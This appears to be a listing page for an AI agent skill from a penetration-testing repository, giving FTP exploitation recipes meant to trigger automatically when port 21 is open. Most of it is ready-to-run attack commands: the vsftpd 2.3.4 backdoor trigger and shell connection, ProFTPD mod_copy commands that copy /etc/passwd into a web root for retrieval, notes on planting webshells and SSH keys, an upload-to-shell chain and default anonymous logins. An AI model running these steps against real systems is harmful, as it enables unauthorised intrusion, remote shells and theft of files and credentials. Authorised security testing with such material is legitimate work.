s0ld13rr/pentestcode/ftp

Claude Code and agent skill by s0ld13rr/pentestcode

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Checking that the SKILL.md file is still in the repository.

FTP version exploits — vsftpd backdoor, ProFTPD mod_copy, writable upload→shell chain. Use when FTP is open. Triggers - port 21, vsftpd 2.3.4, ProFTPD mod_copy.

Install

npx vskill@latest install s0ld13rr/pentestcode/ftp

SKILL.md

FTP — Version Exploits & Chains

vsftpd 2.3.4 — backdoor

Send :) in username → backdoor shell opens on port 6200. echo -e "USER evil:)\nPASS anything" | nc TARGET 21 then nc TARGET 6200

ProFTPD mod_copy — unauthenticated file copy

ProFTPD <1.3.5b. No login needed:

nc TARGET 21
SITE CPFR /etc/passwd
SITE CPTO /var/www/html/leak.txt

Then curl http://TARGET/leak.txt. Can also copy SSH keys, webshells into web roots.

Writable FTP + web server = shell

If anonymous upload works AND a web server serves the same directory: upload shell via FTP → trigger via HTTP.

Anonymous login variants

Try: anonymous/anonymous@, anonymous/(empty), ftp/ftp. Always ls -la and try cd .. — parent directories sometimes accessible.

Security

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Source

Popularity

Repository stars
849
Repository forks
136
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0

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